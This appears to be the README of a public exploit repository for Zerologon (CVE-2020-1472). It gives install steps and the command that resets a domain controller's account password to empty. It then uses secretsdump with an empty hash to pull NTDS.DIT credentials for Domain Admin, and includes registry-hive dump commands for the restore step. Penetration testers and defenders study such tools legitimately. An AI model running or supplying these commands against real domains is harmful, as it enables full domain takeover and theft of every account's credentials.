Checker & Exploit Code for CVE-2020-1472 aka Zerologon

Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string.

NOTE: It will likely break things in production environments (eg. DNS functionality, communication with replication Domain Controllers, etc); target clients will then not be able to authenticate to the domain anymore, and they can only be re-synchronized through manual action. If you want to know more on how Zerologon attack break things, thanks to the awesome works of @_dirkjan, you can read it HERE

Exploit

It will attempt to perform the Netlogon authentication bypass. When a domain controller is patched, the detection script will give up after sending 2000 pairs of RPC calls, concluding that the target is not vulnerable (with a false negative chance of 0.04%).

The exploit will be successful only if the Domain Controller uses the password stored in Active Directory to validate the login attempt, rather than the one stored locally as, when changing a password in this way, it is only changed in the AD. The targeted system itself will still locally store its original password.

Installation

Requires Python 3.7 or higher, virtualenv, pip and a modified version of Impacket's library: nrpc.py (/impacket/dcerpc/v5) the latest version of impacket from GitHub with added netlogon structures.

1. Install Impacket as follows:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Install the Zerologon exploit script as follows:

  1. ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

Running the script

The script can be used to target a DC or backup DC. It will likely also work against a read-only DC, but this has not been tested yet. The DC name should be its NetBIOS computer name. If this name is not correct, the script will likely fail with a STATUS_INVALID_COMPUTER_NAME error. Given a domain controller named EXAMPLE-DC and IP address 1.2.3.4, run the script as follows:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

Running the script should results in Domain Controller's account password being reset to an empty string.

At this point you should be able to run Impacket's secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR (alternatively you can use the empty hash: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) that will extract only NTDS.DIT data (NTLM hashes and Kerberos keys).

Which should get you Domain Admin. WIN WIN WIN

Password Restore

Reinstalling the original password hash is necessary for the DC to continue to operate normally.

After you have obtained Domain Admin, you can wmiexec.py to the target DC with a credential obtained from secretsdump and perform the following steps:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

Run: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by using the reinstall_original_pw.py script provided here. Sometimes more than one run is needed before it succeed.

reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

Alternatively you can use following restoration process
